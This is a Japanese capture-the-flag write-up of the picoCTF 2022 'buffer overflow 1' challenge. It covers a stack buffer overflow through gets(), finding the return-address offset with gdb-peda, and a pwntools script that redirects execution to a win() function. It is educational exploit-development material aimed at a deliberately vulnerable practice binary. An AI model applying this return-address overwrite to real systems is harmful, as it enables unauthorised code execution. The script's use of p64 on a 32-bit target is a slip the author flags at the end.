bofによるリターンアドレス書き換えの基礎

bofを利用してリターンアドレスを書き換える。今回はプログラム中にフラグを出力するwin関数があったので、リターンアドレスをwin関数のアドレスに書き換える。

とても基本的な問題だけどとても大切だし、秒でフラグがとれたから自分の基礎力の定着が確認できた。

32bitプログラムに慣れていないので少し戸惑ったが、次の記事が参考になる:

qiita.com

(picoCTF 2022「buffer overflow 1」の問題)

プログラムの概要

checksec

┌──(shoebill㉿shoebill)-[~/pico]
└─$ checksec ./vuln        
[*] '/home/shoebill/pico/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

セキュリティ機構ガバガバの32bitプログラム。

プログラムの動き

┌──(shoebill㉿shoebill)-[~/pico]
└─$ ./vuln
Please enter your string: 
aaaaaaa
Okay, time to return... Fingers Crossed... Jumping to 0x804932f

文字列の入力を求められる。そして、その入力を受け付ける関数が終わってどこにリターンしたのか?そのリターン先のアドレスが「Jumping to ~」のように表示される。

ソースコード

(一部省略)

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  puts("Please enter your string: ");
  vuln();
  return 0;
}

main関数に入るとすぐvuln関数が実行される。

vuln関数内では例のgets関数が実行されるので、そこでbofしてリターンアドレスをwin関数のアドレスに書き換えてやる。

リターンアドレスまでのオフセット

gdbのパターン文字列を利用する。そしてEIPに現れる文字列に着目する。

gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Please enter your string: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Okay, time to return... Fingers Crossed... Jumping to 0x41414641
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x61414145 ('EAAa')
ECX: 0x0 
EDX: 0xf7fc41c0 (0xf7fc41c0)
ESI: 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln")
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcf60 --> 0xff004162 
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffcf60 --> 0xff004162 
0004| 0xffffcf64 --> 0xf7fc3358 --> 0xf7ffdb40 --> 0xf7fc3470 --> 0xf7ffd9e0 --> 0x0 
0008| 0xffffcf68 --> 0xf7fc37f0 --> 0xf7c1abb0 ("GLIBC_PRIVATE")
0012| 0xffffcf6c --> 0x3e8 
0016| 0xffffcf70 --> 0xffffcf90 --> 0x1 
0020| 0xffffcf74 --> 0xf7e1eff4 --> 0x21ed8c 
0024| 0xffffcf78 --> 0xf7ffd020 --> 0xf7ffd9e0 --> 0x0 
0028| 0xffffcf7c --> 0xf7c213b5 (add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44

リターンアドレスまでのオフセットは44だ。

exploit

#!/usr/bin/env python3
from pwn import *

bin_file = './vuln'
context.binary = bin_file
binf = ELF(bin_file)

addr_win = binf.symbols['win']

def attack(conn, **kwargs):
    payload = b'a' * 44
    payload += p64(addr_win)
    conn.sendlineafter(b'Please enter your string:', payload)

def main():
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

実行結果:

┌──(shoebill㉿shoebill)-[~/pico]
└─$ ./exploit.py      
[*] '/home/shoebill/pico/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process './vuln': pid 5199
[*] Switching to interactive mode
 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{test_flag}
[*] Got EOF while reading in interactive
$ 

ローカルでexploitのテストをする際はflag.txtの用意を忘れないように。

おまけ

gdbでスタックの様子を見てみる。

32文字を入力した時のスタックの様子(vuln関数のgets(buf)にブレイクポイント):

gdb-peda$ b *vuln+29
Breakpoint 1 at 0x804929e
gdb-peda$ r
...
[-------------------------------------code-------------------------------------]
   0x8049297 <vuln+22>: sub    esp,0xc
   0x804929a <vuln+25>: lea    eax,[ebp-0x28]
   0x804929d <vuln+28>: push   eax
=> 0x804929e <vuln+29>: call   0x8049050 <gets@plt>
   0x80492a3 <vuln+34>: add    esp,0x10
   0x80492a6 <vuln+37>: call   0x804933e <get_return_address>
   0x80492ab <vuln+42>: sub    esp,0x8
   0x80492ae <vuln+45>: push   eax
Guessed arguments:
arg[0]: 0xffffcf30 --> 0xffffcf78 --> 0xf7ffd020 --> 0xf7ffd9e0 --> 0x0
...
gdb-peda$ ni
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  # 32 chars
...
gdb-peda$ stack 20
0000| 0xffffcf20 --> 0xffffcf30 ('A' <repeats 32 times>)
0004| 0xffffcf24 --> 0x7d4
0008| 0xffffcf28 --> 0xf7e1fe1c --> 0xf7e1fd80 --> 0xfbad2887
0012| 0xffffcf2c --> 0x8049291 (<vuln+16>:  add    ebx,0x2d6f)
0016| 0xffffcf30 ('A' <repeats 32 times>)
0020| 0xffffcf34 ('A' <repeats 28 times>)
0024| 0xffffcf38 ('A' <repeats 24 times>)
0028| 0xffffcf3c ('A' <repeats 20 times>)
0032| 0xffffcf40 ('A' <repeats 16 times>)
0036| 0xffffcf44 ('A' <repeats 12 times>)
0040| 0xffffcf48 ("AAAAAAAA")
0044| 0xffffcf4c ("AAAA")
0048| 0xffffcf50 --> 0x804a000 --> 0x3
0052| 0xffffcf54 --> 0x804c000 --> 0x804bf10 --> 0x1
0056| 0xffffcf58 --> 0xffffcf78 --> 0xf7ffd020 --> 0xf7ffd9e0 --> 0x0
0060| 0xffffcf5c --> 0x804932f (<main+107>: mov    eax,0x0)

以下のmain関数のディスアセンブル結果を見ると、vuln関数の次のアドレスが0x0804932fとわかる。つまりvuln関数からのリターンアドレスは0x0804932f。

それに注意して上のスタックをみると、リターンアドレスに達するには0xffffcf58までを"A"で埋める必要がある。

0xffffcf50、0xffffcf54、0xffffcf58のそれぞれには"A"が4文字入るから、あと12(=3x4)文字でリターンアドレスに達する。

上では"A"を32文字入力したから、44(32+12)文字がリターンアドレスまでのオフセットとわかる。

gdb-peda$ disas main
...
   0x0804932a <+102>:   call   0x8049281 <vuln>
   0x0804932f <+107>:   mov    eax,0x0
   0x08049334 <+112>:   lea    esp,[ebp-0x8]
   0x08049337 <+115>:   pop    ecx
   0x08049338 <+116>:   pop    ebx
   0x08049339 <+117>:   pop    ebp
   0x0804933a <+118>:   lea    esp,[ecx-0x4]
   0x0804933d <+121>:   ret

32bitだからp64()じゃなくてp32()の方がいいのか...